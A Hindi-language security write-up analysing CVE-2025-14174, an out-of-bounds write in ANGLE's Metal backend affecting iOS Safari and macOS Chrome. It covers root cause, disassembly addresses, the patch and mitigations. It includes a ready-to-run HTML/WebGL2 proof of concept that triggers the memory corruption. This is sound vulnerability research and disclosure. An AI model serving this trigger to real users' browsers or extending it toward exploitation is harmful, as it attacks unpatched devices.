
CVE-2025-14174 के लिए विश्लेषण और PoC - ANGLE Metal OOB लेखन (iOS Safari, macOS Chrome)
| CVE | CVE-2025-14174 |
| गंभीरता | उच्च |
| ITW में शोषण | हाँ - iOS < 26 पर लक्षित हमले |
| प्रभावित | iOS Safari, macOS Chrome/Chromium/Electron (macOS Safari नहीं) |
| स्थिति | ANGLE कमिट 95a32cb में पैच किया गया |
| श्रेय | Apple, Google Threat Analysis Group |
Apple के अनुसार, CVE-2025-14174 का शोषण iOS 26 से पहले के iOS संस्करणों पर "विशिष्ट लक्षित व्यक्तियों के विरुद्ध अत्यंत परिष्कृत हमले" के भाग के रूप में किया गया था।
हमले की श्रृंखला में शामिल थे:
ANGLE के Metal बैकएंड में डेप्थ टेक्सचर को स्टेजिंग बफर के माध्यम से अपलोड करते समय एक आउट-ऑफ-बाउंड (OOB) राइट भेद्यता मौजूद है। स्टेजिंग बफर का आकार वास्तविक टेक्सचर ऊँचाई के बजाय GL_UNPACK_IMAGE_HEIGHT का उपयोग करके गणना किया जाता है। जब UNPACK_IMAGE_HEIGHT < height होता है, ANGLE एक छोटा बफर आवंटित करता है और बाद में उसमें height पंक्तियाँ लिखता है, जिससे रेंडरर प्रक्रिया में GPU मेमोरी भ्रष्टाचार होता है।
यह भेद्यता WebGL के लिए ANGLE के Metal बैकएंड का उपयोग करने वाले अनुप्रयोगों को प्रभावित करती है:
| प्लेटफ़ॉर्म | सॉफ़्टवेयर | प्रभावित | नोट्स |
|---|---|---|---|
| iOS | Safari | हाँ | iOS पर WebKit WebGL के लिए ANGLE Metal का उपयोग करता है |
| macOS | Chrome / Chromium | हाँ | ANGLE Metal बैकएंड का उपयोग करता है |
| macOS | Electron ऐप्स | हाँ | Chromium के ANGLE कार्यान्वयन का उपयोग करते हैं |
| macOS | Safari | नहीं | WebKit के मूल Metal WebGL का उपयोग करता है, ANGLE नहीं |
iOS Safari प्रभावित है। iOS पर, WebKit अपने WebGL बैकएंड के रूप में ANGLE का उपयोग करता है, जिससे iPhone और iPad पर Safari भेद्य है।
macOS Safari प्रभावित नहीं है। macOS पर, Safari WebKit के अपने मूल WebGL कार्यान्वयन का उपयोग करता है जो सीधे Metal के साथ इंटरफ़ेस करता है, ANGLE को पूरी तरह से दरकिनार कर देता है।
macOS Chrome प्रभावित है। परीक्षण के दौरान macOS 26.1 पर चलने वाला Google Chrome भेद्य दिखाई दिया, क्योंकि यह WebGL के लिए ANGLE के Metal बैकएंड का उपयोग करता है।
भेद्य कोड पथ ANGLE के TextureMtl वर्ग (setSubImageImpl / setPerSliceSubImage / SaturateDepth) में मौजूद है।
| गंभीरता | विवरण |
|---|---|
| पुष्ट | स्टेजिंग बफर के अंत से परे GPU/Metal बैकएंड राइट |
| पुष्ट | WebGL2 + PBO + DEPTH_COMPONENT32F के माध्यम से पुनरुत्पादन योग्य |
| संभावित | मेमोरी दबाव के तहत GPU प्रक्रिया क्रैश या संदर्भ हानि |
| सैद्धांतिक | GPU मेमोरी में क्रॉस-संसाधन भ्रष्टाचार (प्रदर्शित नहीं) |
मुख्य विशेषताएँ:
NO_ERROR लौटाता है)D32F डेप्थ टेक्सचर अपलोड पथ में, ANGLE GL_UNPACK_IMAGE_HEIGHT से pixelsDepthPitch की गणना करता है और इस मान का उपयोग स्टेजिंग MTLBuffer के आकार के लिए करता है। हालाँकि, बाद का कम्प्यूट डिस्पैच (डेप्थ सैचुरेशन) ऑपरेशन के लिए वास्तविक टेक्सचर ऊँचाई का उपयोग करता है, जिससे पैरामीटर भिन्न होने पर OOB राइट होता है।
width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F के लिए:
| पैरामीटर | गणना | मान |
|---|---|---|
| पंक्ति पिच | width * sizeof(float) | 4 बाइट्स |
| स्टेजिंग बफर (आवंटित) | rowPitch * UNPACK_IMAGE_HEIGHT | 512 बाइट्स |
| कम्प्यूट डिस्पैच (लिखा गया) | rowPitch * actualHeight | 2048 बाइट्स |
| OOB राइट | 2048 - 512 | 1536 बाइट्स |
निम्नलिखित सभी सत्य होने चाहिए:
DEPTH_COMPONENT32F (सत्यापित; अन्य डेप्थ प्रारूप भी प्रभावित हो सकते हैं लेकिन परीक्षण नहीं किया गया)PIXEL_UNPACK_BUFFER से बाध्यGL_UNPACK_IMAGE_HEIGHT वास्तविक टेक्सचर ऊँचाई से कम मान पर सेटGL_UNPACK_IMAGE_HEIGHT GL स्पेक द्वारा 3D/ऐरे टेक्सचर अपलोड को प्रभावित करने के लिए परिभाषित है, 2D टेक्सचर को नहीं। TEXTURE_2D के लिए:
UNPACK_IMAGE_HEIGHT < height को अस्वीकार नहीं करताWebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT की गणना करता है
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← छोटा (UNDERSIZED)
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← वास्तविक ऊँचाई का उपयोग करता है
| फ़ंक्शन | पता | भूमिका |
|---|---|---|
setSubImageImpl | 0x272fa9028 | छोटे depthPitch की गणना करता है |
setPerSliceSubImage | 0x272fac240 | छोटा स्टेजिंग बफर आवंटित करता है |
MakeBufferWithStorageMode | 0x272ef19bc | गलत आकार के साथ MTLBuffer बनाता है |
SaturateDepth | 0x272facfa4 | वास्तविक आयामों के साथ कम्प्यूट डिस्पैच करता है |
; setSubImageImpl - छोटे depthPitch की गणना
0x272fa90f4: ldr w8, [x25, #0x10] ; UNPACK_IMAGE_HEIGHT लोड करें
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - छोटे depthPitch के साथ MakeBufferWithStorageMode को कॉल करें
0x272fac5bc: mov x2, x19 ; x2 = आकार (छोटा depthPitch)
0x272fac5c4: bl #0x272ef19bc ; MakeBufferWithStorageMode को कॉल करें
| फ़ंक्शन | पता | भूमिका |
|---|---|---|
setSubImageImpl | 0x22c6d10f4 | छोटे depthPitch की गणना करता है |
setPerSliceSubImage | 0x22c6d4398 | छोटा स्टेजिंग बफर आवंटित करता है |
MakeBufferWithStorageMode | 0x22c619490 | गलत आकार के साथ MTLBuffer बनाता है |
SaturateDepth | 0x22c6d5144 | वास्तविक आयामों के साथ कम्प्यूट डिस्पैच करता है |
; setSubImageImpl - छोटे depthPitch की गणना
0x22c6d11c0: ldr w8, [x25, #0x10] ; UNPACK_IMAGE_HEIGHT लोड करें
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - छोटे depthPitch के साथ MakeBufferWithStorageMode को कॉल करें
0x22c6d461c: ldr x20, [sp, #0x48] ; स्टैक से depthPitch लोड करें
0x22c6d4628: bl MakeBufferWithStorageMode
SaturateDepth फ़ंक्शन बाद में वास्तविक टेक्सचर आयामों का उपयोग करके एक Metal कम्प्यूट शेडर डिस्पैच करता है, जो छोटे स्टेजिंग बफर से आगे लिखता है।
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');
const width = 256, height = 256;
const unpackHeight = 16; // << वास्तविक ऊँचाई से छोटा
// डेप्थ डेटा के साथ PBO बनाएं
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// बेमेल पैरामीटर सेट करें
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// डेप्थ टेक्सचर अपलोड करें - OOB राइट ट्रिगर करता है
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// त्रुटियों की जाँच करें (OOB के बावजूद आमतौर पर NO_ERROR लौटाता है)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
भेद्य सिस्टम पर अपेक्षित परिणाम: GPU प्रक्रिया में OOB राइट होने के बावजूद gl.getError() NO_ERROR लौटाता है।
ANGLE कमिट 95a32cb वास्तविक टेक्सचर आयामों का उपयोग करने के लिए स्टेजिंग बफर आवंटन को ठीक करता है:
// पहले (भेद्य)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// बाद में (ठीक किया गया)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
इसके अतिरिक्त, ब्लिट ऑपरेशन के लिए srcBytesPerImage गणना ठीक की गई:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
इस भेद्यता का जावास्क्रिप्ट से पता लगाना कठिन है:
NO_ERROR लौटाता है| दृष्टिकोण | विवरण |
|---|---|
| अपडेट | ANGLE फिक्स वाले प्लेटफ़ॉर्म अपडेट लागू करें |
| वर्कअराउंड | डेप्थ टेक्सचर के लिए UNPACK_IMAGE_HEIGHT को वास्तविक ऊँचाई से छोटा सेट करने से बचें |
| रक्षा-में-गहराई | निश्चित-आकार के अपलोड का उपयोग करें जहाँ UNPACK_IMAGE_HEIGHT == height |
भेद्यता खोज: Apple, Google Threat Analysis Group
तकनीकी विश्लेषण: यह राइटअप भेद्यता के स्वतंत्र शोध और रिवर्स इंजीनियरिंग का दस्तावेजीकरण करता है।
विश्लेषण SpiderWebKit सुरक्षा अनुसंधान परियोजना के भाग के रूप में किया गया।